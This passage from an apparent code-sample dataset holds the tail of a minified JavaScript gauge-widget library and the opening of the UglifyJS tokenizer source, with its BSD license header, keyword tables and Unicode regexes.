n(0,185,165,1),new n(48,255,204,1),new n(153,255,227,1),new n(204,255,241,1)),JUG_GREEN:new b(new n(0,56,0,1),new n(32,69,36,1),new n(50,161,0,1),new n(129,206,0,1),new n(190,231,141,1),new n(234,247,218,1))},gi={RED_LED:new ut(\"#FF9A89\",\"#FF9A89\",\"#FF3300\",\"#FF8D70\",\"#7E1C00\",\"#7E1C00\",\"#641B00\"),GREEN_LED:new ut(\"#9AFF89\",\"#9AFF89\",\"#59FF2A\",\"#A5FF00\",\"#1C7E00\",\"#1C7E00\",\"#1B6400\"),BLUE_LED:new ut(\"#899AFF\",\"#899AFF\",\"#0033FF\",\"#708DFF\",\"#001C7E\",\"#001C7E\",\"#001B64\"),ORANGE_LED:new ut(\"#FEA23F\",\"#FEA23F\",\"#FD6C00\",\"#FD6C00\",\"#592800\",\"#592800\",\"#421F00\"),YELLOW_LED:new ut(\"#FFFF62\",\"#FFFF62\",\"#FFFF00\",\"#FFFF00\",\"#6B6D00\",\"#6B6D00\",\"#515300\"),CYAN_LED:new ut(\"#00FFFF\",\"#00FFFF\",\"#1BC3C3\",\"#00FFFF\",\"#083B3B\",\"#083B3B\",\"#052727\"),MAGENTA_LED:new ut(\"#D300FF\",\"#D300FF\",\"#8600CB\",\"#C300FF\",\"#38004B\",\"#38004B\",\"#280035\")},ai={TYPE1:new at(\"type1\"),TYPE2:new at(\"type2\"),TYPE3:new at(\"type3\"),TYPE4:new at(\"type4\"),TYPE5:new at(\"type5\")},ur={NORTH:new pt(\"north\"),SOUTH:new pt(\"south\"),EAST:new pt(\"east\"),WEST:new pt(\"west\")},fi={STANDARD_KNOB:new ri(\"standardKnob\"),METAL_KNOB:new ri(\"metalKnob\")},oi={BLACK:new dt(\"black\"),BRASS:new dt(\"brass\"),SILVER:new dt(\"silver\")},fr={BLACK_METAL:new g(\"blackMetal\"),METAL:new g(\"metal\"),SHINY_METAL:new g(\"shinyMetal\"),BRASS:new g(\"brass\"),STEEL:new g(\"steel\"),CHROME:new g(\"chrome\"),GOLD:new g(\"gold\"),ANTHRACITE:new g(\"anthracite\"),TILTED_GRAY:new g(\"tiltedGray\"),TILTED_BLACK:new g(\"tiltedBlack\"),GLOSSY_METAL:new g(\"glossyMetal\")},er={TYPE1:new l(\"type1\"),TYPE2:new l(\"type2\"),TYPE3:new l(\"type3\"),TYPE4:new l(\"type4\"),TYPE5:new l(\"type5\"),TYPE6:new l(\"type6\"),TYPE7:new l(\"type7\"),TYPE8:new l(\"type8\"),TYPE9:new l(\"type9\"),TYPE10:new l(\"type10\"),TYPE11:new l(\"type11\"),TYPE12:new l(\"type12\"),TYPE13:new l(\"type13\"),TYPE14:new l(\"type14\"),TYPE15:new l(\"type15\"),TYPE16:new l(\"type16\")},rr={TYPE1:new lt(\"type1\"),TYPE2:new lt(\"type2\"),TYPE3:new lt(\"type3\"),TYPE4:new lt(\"type4\"),TYPE5:new lt(\"type5\")},nr={STANDARD:new gt(\"standard\"),FRACTIONAL:new gt(\"fractional\"),SCIENTIFIC:new gt(\"scientific\")},tr={NORMAL:new bt(\"normal\"),HORIZONTAL:new bt(\"horizontal\"),TANGENT:new bt(\"tangent\")},ir={UP:new yt(\"up\"),STEADY:new yt(\"steady\"),DOWN:new yt(\"down\"),OFF:new yt(\"off\")};return{Radial:ei,RadialBargraph:wi,RadialVertical:bi,Linear:yi,LinearBargraph:kr,DisplaySingle:dr,DisplayMulti:wr,Level:br,Compass:gr,WindDirection:iu,Horizon:ru,Led:nu,Clock:tu,Battery:hr,StopWatch:cr,Altimeter:sr,TrafficLight:lr,LightBulb:yr,Odometer:pr,drawFrame:v,drawBackground:w,drawForeground:y,rgbaColor:n,ConicalGradient:it,setAlpha:f,getColorFromFraction:ui,gradientWrapper:kt,BackgroundColor:di,LcdColor:ki,ColorDef:pi,LedColor:gi,GaugeType:ai,Orientation:ur,FrameDesign:fr,PointerType:er,ForegroundType:rr,KnobType:fi,KnobStyle:oi,LabelNumberFormat:nr,TickLabelOrientation:tr,TrendState:ir,Section:vr}}()"
  },
  {
    "path": "samples/JavaScript/uglify.js",
    "content": "/***********************************************************************\n\n  A JavaScript tokenizer / parser / beautifier / compressor.\n\n  This version is suitable for Node.js.  With minimal changes (the\n  exports stuff) it should work on any JS platform.\n\n  This file contains the tokenizer/parser.  It is a port to JavaScript\n  of parse-js [1], a JavaScript parser library written in Common Lisp\n  by Marijn Haverbeke.  Thank you Marijn!\n\n  [1] http://marijn.haverbeke.nl/parse-js/\n\n  Exported functions:\n\n    - tokenizer(code) -- returns a function.  Call the returned\n      function to fetch the next token.\n\n    - parse(code) -- returns an AST of the given JavaScript code.\n\n  -------------------------------- (C) ---------------------------------\n\n                           Author: Mihai Bazon\n                         <mihai.bazon@gmail.com>\n                       http://mihai.bazon.net/blog\n\n  Distributed under the BSD license:\n\n    Copyright 2010 (c) Mihai Bazon <mihai.bazon@gmail.com>\n    Based on parse-js (http://marijn.haverbeke.nl/parse-js/).\n\n    Redistribution and use in source and binary forms, with or without\n    modification, are permitted provided that the following conditions\n    are met:\n\n        * Redistributions of source code must retain the above\n          copyright notice, this list of conditions and the following\n          disclaimer.\n\n        * Redistributions in binary form must reproduce the above\n          copyright notice, this list of conditions and the following\n          disclaimer in the documentation and/or other materials\n          provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER “AS IS” AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n    PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE\n    LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n    OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n    PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n    PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n    THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF\n    THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n    SUCH DAMAGE.\n\n ***********************************************************************/\n\n/* -----[ Tokenizer (constants) ]----- */\n\nvar KEYWORDS = array_to_hash([\n        \"break\",\n        \"case\",\n        \"catch\",\n        \"const\",\n        \"continue\",\n        \"default\",\n        \"delete\",\n        \"do\",\n        \"else\",\n        \"finally\",\n        \"for\",\n        \"function\",\n        \"if\",\n        \"in\",\n        \"instanceof\",\n        \"new\",\n        \"return\",\n        \"switch\",\n        \"throw\",\n        \"try\",\n        \"typeof\",\n        \"var\",\n        \"void\",\n        \"while\",\n        \"with\"\n]);\n\nvar RESERVED_WORDS = array_to_hash([\n        \"abstract\",\n        \"boolean\",\n        \"byte\",\n        \"char\",\n        \"class\",\n        \"debugger\",\n        \"double\",\n        \"enum\",\n        \"export\",\n        \"extends\",\n        \"final\",\n        \"float\",\n        \"goto\",\n        \"implements\",\n        \"import\",\n        \"int\",\n        \"interface\",\n        \"long\",\n        \"native\",\n        \"package\",\n        \"private\",\n        \"protected\",\n        \"public\",\n        \"short\",\n        \"static\",\n        \"super\",\n        \"synchronized\",\n        \"throws\",\n        \"transient\",\n        \"volatile\"\n]);\n\nvar KEYWORDS_BEFORE_EXPRESSION = array_to_hash([\n        \"return\",\n        \"new\",\n        \"delete\",\n        \"throw\",\n        \"else\",\n        \"case\"\n]);\n\nvar KEYWORDS_ATOM = array_to_hash([\n        \"false\",\n        \"null\",\n        \"true\",\n        \"undefined\"\n]);\n\nvar OPERATOR_CHARS = array_to_hash(characters(\"+-*&%=<>!?|~^\"));\n\nvar RE_HEX_NUMBER = /^0x[0-9a-f]+$/i;\nvar RE_OCT_NUMBER = /^0[0-7]+$/;\nvar RE_DEC_NUMBER = /^\\d*\\.?\\d*(?:e[+-]?\\d*(?:\\d\\.?|\\.?\\d)\\d*)?$/i;\n\nvar OPERATORS = array_to_hash([\n        \"in\",\n        \"instanceof\",\n        \"typeof\",\n        \"new\",\n        \"void\",\n        \"delete\",\n        \"++\",\n        \"--\",\n        \"+\",\n        \"-\",\n        \"!\",\n        \"~\",\n        \"&\",\n        \"|\",\n        \"^\",\n        \"*\",\n        \"/\",\n        \"%\",\n        \">>\",\n        \"<<\",\n        \">>>\",\n        \"<\",\n        \">\",\n        \"<=\",\n        \">=\",\n        \"==\",\n        \"===\",\n        \"!=\",\n        \"!==\",\n        \"?\",\n        \"=\",\n        \"+=\",\n        \"-=\",\n        \"/=\",\n        \"*=\",\n        \"%=\",\n        \">>=\",\n        \"<<=\",\n        \">>>=\",\n        \"|=\",\n        \"^=\",\n        \"&=\",\n        \"&&\",\n        \"||\"\n]);\n\nvar WHITESPACE_CHARS = array_to_hash(characters(\" \\u00a0\\n\\r\\t\\f\\v\\u200b\"));\n\nvar PUNC_BEFORE_EXPRESSION = array_to_hash(characters(\"[{}(,.;:\"));\n\nvar PUNC_CHARS = array_to_hash(characters(\"[]{}(),;:\"));\n\nvar REGEXP_MODIFIERS = array_to_hash(characters(\"gmsiy\"));\n\n/* -----[ Tokenizer ]----- */\n\n// regexps adapted from http://xregexp.com/plugins/#unicode\nvar UNICODE = {\n        letter: new RegExp(\"[\\\\u0041-\\\\u005A\\\\u0061-\\\\u007A\\\\u00AA\\\\u00B5\\\\u00BA\\\\u00C0-\\\\u00D6\\\\u00D8-\\\\u00F6\\\\u00F8-\\\\u02C1\\\\u02C6-\\\\u02D1\\\\u02E0-\\\\u02E4\\\\u02EC\\\\u02EE\\\\u0370-\\\\u0374\\\\u0376\\\\u0377\\\\u037A-\\\\u037D\\\\u0386\\\\u0388-\\\\u038A\\\\u038C\\\\u038E-\\\\u03A1\\\\u03A3-\\\\u03F5\\\\u03F7-\\\\u0481\\\\u048A-\\\\u0523\\\\u0531-\\\\u0556\\\\u0559\\\\u0561-\\\\u0587\\\\u05D0-\\\\u05EA\\\\u05F0-\\\\u05F2\\\\u0621-\\\\u064A\\\\u066E\\\\u066F\\\\u0671-\\\\u06D3\\\\u06D5\\\\u06E5\\\\u06E6\\\\u06EE\\\\u06EF\\\\u06FA-\\\\u06FC\\\\u06FF\\\\u0710\\\\u0712-\\\\u072F\\\\u074D-\\\\u07A5\\\\u07B1\\\\u07CA-\\\\u07EA\\\\u07F4\\\\u07F5\\\\u07FA\\\\u0904-\\\\u0939\\\\u093D\\\\u0950\\\\u0958-\\\\u0961\\\\u0971\\\\u0972\\\\u097B-\\\\u097F\\\\u0985-\\\\u098C\\\\u098F\\\\u0990\\\\u0993-\\\\u09A8\\\\u09AA-\\\\u09B0\\\\u09B2\\\\u09B6-\\\\u09B9\\\\u09BD\\\\u09CE\\\\u09DC\\\\u09DD\\\\u09DF-\\\\u09E1\\\\u09F0\\\\u09F1\\\\u0A05-\\\\u0A0A\\\\u0A0F\\\\u0A10\\\\u0A13-\\\\u0A28\\\\u0A2A-\\\\u0A30\\\\u0A32\\\\u0A33\\\\u0A35\\\\u0A36\\\\u0A38\\\\u0A39\\\\u0A59-\\\\u0A5C\\\\u0A5E\\\\u0A72-\\\\u0A74\\\\u0A85-\\\\u0A8D\\\\u0A8F-\\\\u0A91\\\\u0A93-\\\\u0AA8\\\\u0AAA-\\\\u0AB0\\\\u0AB2\\\\u0AB3\\\\u0AB5-\\\\u0AB9\\\\u0ABD\\\\u0AD0\\\\u0AE0\\\\u0AE1\\\\u0B05-\\\\u0B0C\\\\u0B0F\\\\u0B10\\\\u0B13-\\\\u0B28\\\\u0B2A-\\\\u0B30\\\\u0B32\\\\u0B33\\\\u0B35-\\\\u0B39\\\\u0B3D\\\\u0B5C\\\\u0B5D\\\\u0B5F-\\\\u0B61\\\\u0B71\\\\u0B83\\\\u0B85-\\\\u0B8A\\\\u0B8E-\\\\u0B90\\\\u0B92-\\\\u0B95\\\\u0B99\\\\u0B9A\\\\u0B9C\\\\u0B9E\\\\u0B9F\\\\u0BA3\\\\u0BA4\\\\u0BA8-\\\\u0BAA\\\\u0BAE-\\\\u0BB9\\\\u0BD0\\\\u0C05-\\\\u0C0C\\\\u0C0E-\\\\u0C10\\\\u0C12-\\\\u0C28\\\\u0C2A-\\\\u0C33\\\\u0C35-\\\\u0C39\\\\u0C3D\\\\u0C58\\\\u0C59\\\\u0C60\\\\u0C61\\\\u0C85-\\\\u0C8C\\\\u0C8E-\\\\u0C90\\\\u0C92-\\\\u0CA8\\\\u0CAA-\\\\u0CB3\\\\u0CB5-\\\\u0CB9\\\\u0CBD\\\\u0CDE\\\\u0CE0\\\\u0CE1\\\\u0D05-\\\\u0D0C\\\\u0D0E-\\\\u0D10\\\\u0D12-\\\\u0D28\\\\u0D2A-\\\\u0D39\\\\u0D3D\\\\u0D60\\\\u0D61\\\\u0D7A-\\\\u0D7F\\\\u0D85-\\\\u0D96\\\\u0D9A-\\\\u0DB1\\\\u0DB3-\\\\u0DBB\\\\u0DBD\\\\u0DC0-\\\\u0DC6\\\\u0E01-\\\\u0E30\\\\u0E32\\\\u0E33\\\\u0E40-\\\\u0E46\\\\u0E81\\\\u0E82\\\\u0E84\\\\u0E87\\\\u0E88\\\\u0E8A\\\\u0E8D\\\\u0E94-\\\\u0E97\\\\u0E99-\\\\u0E9F\\\\u0EA1-\\\\u0EA3\\\\u0EA5\\\\u0EA7\\\\u0EAA\\\\u0EAB\\\\u0EAD-\\\\u0EB0\\\\u0EB2\\\\u0EB3\\\\u0EBD\\\\u0EC0-\\\\u0EC4\\\\u0EC6\\\\u0EDC\\\\u0EDD\\\\u0F00\\\\u0F40-\\\\u0F47\\\\u0F49-\\\\u0F6C\\\\u0F88-\\\\u0F8B\\\\u1000-\\\\u102A\\\\u103F\\\\u1050-\\\\u1055\\\\u105A-\\\\u105D\\\\u1061\\\\u1065\\\\u1066\\\\u106E-\\\\u1070\\\\u1075-\\\\u1081\\\\u108E\\\\u10A0-\\\\u10C5\\\\u10D0-\\\\u10FA\\\\u10FC\\\\u1100-\\\\u1159\\\\u115F-\\\\u11A2\\\\u11A8-\\\\u11F9\\\\u1200-\\\\u1248\\\\u124A-\\\\u124D\\\\u1250-\\\\u1256\\\\u1258\\\\u125A-\\\\u125D\\\\u1260-\\\\u1288\\\\u128A-\\\\u128D\\\\u1290-\\\\u12B0\\\\u12B2-\\\\u12B5\\\\u12B8-\\\\u12BE\\\\u12C0\\\\u12C2-\\\\u12C5\\\\u12C8-\\\\u12D6\\\\u12D8-\\\\u1310\\\\u1312-\\\\u1315\\\\u1318-\\\\u135A\\\\u1380-\\\\u138F\\\\u13A0-\\\\u13F4\\\\u1401-\\\\u166C\\\\u166F-\\\\u1676\\\\u1681-\\\\u169A\\\\u16A0-\\\\u16EA\\\\u1700-\\\\u170C\\\\u170E-\\\\u1711\\\\u1720-\\\\u1731\\\\u1740-\\\\u1751\\\\u1760-\\\\u176C\\\\u176E-\\\\u1770\\\\u1780-\\\\u17B3\\\\u17D7\\\\u17DC\\\\u1820-\\\\u1877\\\\u1880-\\\\u18A8\\\\u18AA\\\\u1900-\\\\u191C\\\\u1950-\\\\u196D\\\\u1970-\\\\u1974\\\\u1980-\\\\u19A9\\\\u19C1-\\\\u19C7\\\\u1A00-\\\\u1A16\\\\u1B05-\\\\u1B33\\\\u1B45-\\\\u1B4B\\\\u1B83-\\\\u1BA0\\\\u1BAE\\\\u1BAF\\\\u1C00-\\\\u1C23\\\\u1C4D-\\\\u1C4F\\\\u1C5A-\\\\u1C7D\\\\u1D00-\\\\u1DBF\\\\u1E00-\\\\u1F15\\\\u1F18-\\\\u1F1D\\\\u1F20-\\\\u1F45\\\\u1F48-\\\\u1F4D\\\\u1F50-\\\\u1F57\\\\u1F59\\\\u1F5B\\\\u1F5D\\\\u1F5F-\\\\u1F7D\\\\u1F80-\\\\u1FB4\\\\u1FB6-\\\\u1FBC\\\\u1FBE\\\\u1FC2-\\\\u1FC4\\\\u1FC6-\\\\u1FCC\\\\u1FD0-\\\\u1FD3\\\\u1FD6-\\\\u1FDB\\\\u1FE0-\\\\u1FEC\\\\u1FF2-\\\\u1FF4\\\\u1FF6-\\\\u1FFC\\\\u2071\\\\u207F\\\\u2090-\\\\u2094\\\\u2102\\\\u2107\\\\u210A-\\\\u2113\\\\u2115\\\\u2119-\\\\u211D\\\\u2124\\\\u2126\\\\u2128\\\\u212A-\\\\u212D\\\\u212F-\\\\u2139\\\\u213C-\\\\u213F\\\\u2145-\\\\u2149\\\\u214E\\\\u2183\\\\u2184\\\\u2C00-\\\\u2C2E\\\\u2C30-\\\\u2C5E\\\\u2C60-\\\\u2C6F\\\\u2C71-\\\\u2C7D\\\\u2C80-\\\\u2CE4\\\\u2D00-\\\\u2D25\\\\u2D30-\\\\u2D65\\\\u2D6F\\\\u2D80-\\\\u2D96\\\\u2DA0-\\\\u2DA6\\\\u2DA8-\\\\u2DAE\\\\u2DB0-\\\\u2DB6\\\\u2DB8-\\\\u2DBE\\\\u2DC0-\\\\u2DC6\\\\u2DC8-\\\\u2DCE\\\\u2DD0-\\\\u2DD6\\\\u2DD8-\\\\u2DDE\\\\u2E2F\\\\u3005\\\\u3006\\\\u3031-\\\\u3035\\\\u303B\\\\u303C\\\\u3041-\\\\u3096\\\\u309D-\\\\u309F\\\\u30A1-\\\\u30FA\\\\u30FC-\\\\u30FF\\\\u3105-\\\\u312D\\\\u3131-\\\\u318E\\\\u31A0-\\\\u31B7\\\\u31F0-\\\\u31FF\\\\u3400\\\\u4DB5\\\\u4E00\\\\u9FC3\\\\uA000-\\\\uA48C\\\\uA500-\\\\uA60C\\\\uA610-\\\\uA61F\\\\uA62A\\\\uA62B\\\\uA640-\\\\uA65F\\\\uA662-\\\\uA66E\\\\uA67F-\\\\uA697\\\\uA717-\\\\uA71F\\\\uA722-\\\\uA788\\\\uA78B\\\\uA78C\\\\uA7FB-\\\\uA801\\\\uA803-\\\\uA805\\\\uA807-\\\\uA80A\\\\uA80C-\\\\uA822\\\\uA840-\\\\uA873\\\\uA882-\\\\uA8B3\\\\uA90A-\\\\uA925\\\\uA930-\\\\uA946\\\\uAA00-\\\\uAA28\\\\uAA40-\\\\uAA42\\\\uAA44-\\\\uAA4B\\\\uAC00\\\\uD7A3\\\\uF900-\\\\uFA2D\\\\uFA30-\\\\uFA6A\\\\uFA70-\\\\uFAD9\\\\uFB00-\\\\uFB06\\\\uFB13-\\\\uFB17\\\\uFB1D\\\\uFB1F-\\\\uFB28\\\\uFB2A-\\\\uFB36\\\\uFB38-\\\\uFB3C\\\\uFB3E\\\\uFB40\\\\uFB41\\\\uFB43\\\\uFB44\\\\uFB46-\\\\uFBB1\\\\uFBD3-\\\\uFD3D\\\\uFD50-\\\\uFD8F\\\\uFD92-\\\\uFDC7\\\\uFDF0-\\\\uFDFB\\\\uFE70-\\\\uFE74\\\\uFE76-\\\\uFEFC\\\\uFF21-\\\\uFF3A\\\\uFF41-\\\\uFF5A\\\\uFF66-\\\\uFFBE\\\\uFFC2-\\\\uFFC7\\\\uFFCA-\\\\uFFCF\\\\uFFD2-\\\\uFFD7\\\\uFFDA-\\\\uFFDC]\"),\n        non_spacing_mark: new RegExp(\"[\\\\u0300-\\\\u036F\\\\u0483-\\\\u0487\\\\u0591-\\\\u05BD\\\\u05BF\\\\u05C1\\\\u05C2\\\\u05C4\\\\u05C5\\\\u05C7\\\\u0610-\\\\u061A\\\\u064B-\\\\u065E\\\\u0670\\\\u06D6-\\\\u06DC\\\\u06DF-\\\\u06E4\\\\u06E7\\\\u06E8\\\\u06EA-\\\\u06ED\\\\u0711\\\\u0730-\\\\u074A\\\\u07A6-\\\\u07B0\\\\u07EB-\\\\u07F3\\\\u0816-\\\\u0819\\\\u081B-\\\\u0823\\\\u0825-\\\\u0827\\\\u0829-\\\\u082D\\\\u0900-\\\\u0902\\\\u093C\\\\u0941-\\\\u0948\\\\u094D\\\\u0951-\\\\u0955\\\\u0962\\\\u0963\\\\u0981\\\\u09BC\\\\u09C1-\\\\u09C4\\\\u09CD\\\\u09E2\\\\u09E3\\\\u0A01\\\\u0A02\\\\u0A3C\\\\u0A41\\\\u0A42\\\\u0A47\\\\u0A48\\\\u0A4B-\\\\u0A4D\\\\u0A51\\\\u0A70\\\\u0A71\\\\u0A75\\\\u0A81\\\\u0A82\\\\u0ABC\\\\u0AC1-\\\\u0AC5\\\\u0AC7\\\\u0AC8\\\\u0ACD\\\\u0AE2\\\\u0AE3\\\\u0B01\\\\u0B3C\\\\u0B3F\\\\u0B41-\\\\u0B44\\\\u0B4D\\\\u0B56\\\\u0B62\\\\u0B63\\\\u0B82\\\\u0BC0\\\\u0BCD\\\\u0C3E-\\\\u0C40\\\\u0C46-\\\\u0C48\\\\u0C4A-\\\\u0C4D\\\\u0C55\\\\u0C56\\\\u0C62\\\\u0C63\\\\u0CBC\\\\u0CBF\\\\u0CC6\\\\u0CCC\\\\u0CCD\\\\u0CE2\\\\u0CE3\\\\u0D41-\\\\u0D44\\\\u0D4D\\\\u0D62\\\\u0D63\\\\u0DCA\\\\u0DD2-\\\\u0DD4\\\\u0DD6\\\\u0E31\\\\u0E34-\\\\u0E3A\\\\u0E47-\\\\u0E4E\\\\u0EB1\\\\u0EB4-\\\\u0EB9\\\\u0EBB\\\\u0EBC\\\\u0EC8-\\\\u0ECD\\\\u0F18\\\\u0F19\\\\u0F35\\\\u0F37\\\\u0F39\\\\u0F71-\\\\u0F7E\\\\u0F80-\\\\u0F84\\\\u0F86\\\\u0F87\\\\u0F90-\\\\u0F97\\\\u0F99-\\\\u0FBC\\\\u0FC6\\\\u102D-\\\\u1030\\\\u1032-\\\\u1037\\\\u1039\\\\u103A\\\\u103D\\\\u103E\\\\u1058\\\\u1059\\\\u105E-\\\\u1060\\\\u1071-\\\\u1074\\\\u1082\\\\u1085\\\\u1086\\\\u108D\\\\u109D\\\\u135F\\\\u1712-\\\\u1714\\\\u1732-\\\\u1734\\\\u1752\\\\u1753\\\\u1772\\\\u1773\\\\u17B7-\\\\u17BD\\\\u17C6\\\\u17C9-\\\\u17D3\\\\u17DD\\\\u180B-\\\\u180D\\\\u18A9\\\\u1920-\\\\u1922\\\\u1927\\\\u1928\\\\u1932\\\\u1939-\\\\u193B\\\\u1A17\\\\u1A18\\\\u1A56\\\\u1A58-\\\\u1A5E\\\\u1A60\\\\u1A62\\\\u1A65-\\\\u1A6C\\\\u1A73-\\\\u1A7C\\\\u1A7F\\\\u1B00-\\\\u1B03\\\\u1B34\\\\u1B36-\\\\u1B3A\\\\u1B3C\\\\u1B42\\\\u1B6B-\\\\u1B73\\\\u1B80\\\\u1B81\\\\u1BA2-\\\\u1BA5\\\\u1BA8\\\\u1BA9\\\\u1C2C-\\\\u1C33\\\\u1C36\\\\u1C37\\\\u1CD0-\\\\u1CD2\\\\u1CD4-\\\\u1CE0\\\\u1CE2-\\\\u1CE8\\\\u1CED\\\\u1DC0-\\\\u1DE6\\\\u1DFD-\\\\u1DFF\\\\u20D0-\\\\u20DC\\\\u20E1\\\\u20E5-\\\\u20F0\\\\u2CEF-\\\\u2CF1\\\\u2DE0-\\\\u2DFF\\\\u302A-\\\\u302F\\\\u3099\\\\u309A\\\\uA66F\\\\uA67C\\\\uA67D\\\\uA6F0\\\\uA6F1\\\\uA802\\\\uA806\\\\uA80B\\\\uA825\\\\uA826\\\\uA8C4\\\\uA8E0-\\\\uA8F1\\\\uA926-\\\\uA92D\\\\uA947-\\\\uA951\\\\uA980-\\\\uA982\\\\uA9B3\\\\uA9B6-\\\\uA9B9\\\\uA9BC\\\\uAA29-\\\\uAA2E\\\\uAA31\\\\uAA32\\\\uAA35\\\\uAA36\\\\uAA43\\\\uAA4C\\\\uAAB0\\\\uAAB2-\\\\uAAB4\\\\uAAB7\\\\uAAB8\\\\uAABE\\\\uAABF\\\\uAAC1\\\\uABE5\\\\uABE8\\\\uABED\\\\uFB1E\\\\uFE00-\\\\uFE0F\\\\uFE20-\\\\uFE26]\"),\n        space_combining_mark: new RegExp(\"[\\\\u0903\\\\u093E-\\\\u0940\\\\u0949-\\\\u094C\\\\u094E\\\\u0982\\\\u0983\\\\u09BE-\\\\u09C0\\\\u09C7\\\\u09C8\\\\u09CB\\\\u09CC\\\\u09D7\\\\u0A03\\\\u0A3E-\\\\u0A40\\\\u0A83\\\\u0ABE-\\\\u0AC0\\\\u0AC9\\\\u0ACB\\\\u0ACC\\\\u0B02\\\\u0B03\\\\u0B3E\\\\u0B40\\\\u0B47\\\\u0B48\\\\u0B4B\\\\u0B4C\\\\u0B57\\\\u0BBE\\\\u0BBF\\\\u0BC1\\\\u0BC2\\\\u0BC6-\\\\u0BC8\\\\u0BCA-\\\\u0BCC\\\\u0BD7\\\\u0C01-\\\\u0C03\\\\u0C41-\\\\u0C44\\\\u0C82\\\\u0C83\\\\u0CBE\\\\u0CC0-\\\\u0CC4\\\\u0CC7\\\\u0CC8\\\\u0CCA\\\\u0CCB\\\\u0CD5\\\\u0CD6\\\\u0D02\\\\u0D03\\\\u0D3E-\\\\u0D40\\\\u0D46-\\\\u0D48\\\\u0D4A-\\\\u0D4C\\\\u0D57\\\\u0D82\\\\u0D83\\\\u0DCF-\\\\u0DD1\\\\u0DD8-\\\\u0DDF\\\\u0DF2\\\\u0DF3\\\\u0F3E\\\\u0F3F\\\\u0F7F\\\\u102B\\\\u102C\\\\u1031\\\\u1038\\\\u103B\\\\u103C\\\\u1056\\\\u1057\\\\u1062-\\\\u1064\\\\u1067-\\\\u106D\\\\u1083\\\\u1084\\\\u1087-\\\\u108C\\\\u108F\\\\u109A-\\\\u109C\\\\u17B6\\\\u17BE-\\\\u17C5\\\\u17C7\\\\u17C8\\\\u1923-\\\\u1926\\\\u1929-\\\\u192B\\\\u1930\\\\u1931\\\\u1933-\\\\u1938\\\\u19B0-\\\\u19C0\\\\u19C8\\\\u19C9\\\\u1A19-\\\\u1A1B\\\\u1A55\\\\u1A57\\\\u1A61\\\\u1A63\\\\u1A64\\\\u1A6D-\\\\u1A72\\\\u1B04\\\\u1B35\\\\u1B3B\\\\u1B3D-\\\\u1B41\\\\u1B43\\\\u1B44\\\\u1B82\\\\u1BA1\\\\u1BA6\\\\u1BA7\\\\u1BAA\\\\u1C24-\\\\u1C2B\\\\u1C34\\\\u1C35\\\\u1CE1\\\\u1CF2\\\\uA823\\\\uA824\\\\uA827\\\\uA880\\\\uA881\\\\uA8B4-\\\\uA8C3\\\\uA952\\\\uA953\\\\uA983\\\\uA9B4\\\\uA9B5\\\\uA9BA\\\\uA9BB\\\\uA9BD-\\\\uA9C0\\\\uAA2F\\\\uAA30\\\\uAA33\\\\uAA34\\\\uAA4D\\\\uAA7B\\\\uABE3\\\\uABE4\\\\uABE6\\\\uABE7\\\\uABE9\\\\uABEA\\\\uABEC]\"),\n        connector_punctuation: new RegExp(\"[\\\\u005F\\\\u203F\\\\u2040\\\\u2054\\\\uFE33\\\\uFE34\\\\uFE4D-\\\\uFE4F\\\\uFF3F]\")\n};\n\nfunction is_letter(ch) {\n        return UNICODE.letter.test(ch);\n};\n\nfunction is_digit(ch) {\n        ch = ch.charCodeAt(0);\n        return ch >= 48 && ch <= 57; //XXX: find out if \"UnicodeDigit\" means something else than 0..9\n};\n\nfunction is_alphanumeric_char(ch) {\n        return is_digit(ch) || is_letter(ch);\n};\n\nfunction is_unicode_combining_mark(ch) {\n        return UNICODE.non_spacing_mark.test(ch) || UNICODE.space_combining_mark.test(ch);\n};\n\nfunction is_unicode_connector_punctuation(ch) {\n        return UNICODE.connector_punctuation.test(ch);\n};\n\nfunction is_identifier_start(ch) {\n        return ch == \"$\" || ch == \"_\" || is_letter(ch);\n};\n\nfunction is_identifier_char(ch) {\n        return is_identifier_start(ch)\n                || is_unicode_combining_mark(ch)\n                || is_digit(ch)\n                || is_unicode_connector_punctuation(ch)\n                || ch == \"\\u200c\" // zero-width non-joiner <ZWNJ>\n                || ch == \"\\u200d\" // zero-width joiner <ZWJ> (in my ECMA-262 PDF, this is also 200c)\n        ;\n};\n\nfunction parse_js_number(num) {\n        if (RE_HEX_NUMBER.test(num)) {\n                return parseInt(num.substr(2), 16);\n        } else if (RE_OCT_NUMBER.test(num)) {\n                return parseInt(num.substr(1), 8);\n        } else if (RE_DEC_NUMBER.test(num)) {\n                return parseFloat(num);\n        }\n};\n\nfunction JS_Parse_Error(message, line, col, pos) {\n        this.message = message;\n        this.line = line;\n        this.col = col;\n        this.pos = pos;\n        try {\n                var ex = new Error(message);\n                ex.name = 'JS_Parse_Error'\n                throw ex\n        } catch(ex) {\n                this.stack = ex.stack;\n        };\n};\n\nJS_Parse_Error.prototype.toString = function() {\n        return this.message + \" (line: \" + this.line + \", col: \" + this.col + \", pos: \" + this.pos + \")\" + \"\\n\\n\" + this.stack;\n};\n\nfunction js_error(message, line, col, pos) {\n        throw new JS_Parse_Error(message, line, col, pos);\n};\n\nfunction is_token(token, type, val) {\n        return token.type == type && (val == null || token.value == val);\n};\n\nvar EX_EOF = {};\n\nfunction tokenizer($TEXT) {\n\n        var S = {\n                text            : $TEXT.replace(/\\r\\n?|[\\n\\u2028\\u2029]/g, \"\\n\").replace(/^\\uFEFF/, ''),\n                pos             : 0,\n                tokpos          : 0,\n                line            : 0,\n                tokline         : 0,\n                col             : 0,\n                tokcol          : 0,\n                newline_before  : false,\n                regex_allowed   : false,\n                comments_before : []\n        };\n\n        function peek() { return S.text.charAt(S.pos); };\n\n        function next(signal_eof) {\n                var ch = S.text.charAt(S.pos++);\n                if (signal_eof && !ch)\n                        throw EX_EOF;\n                if 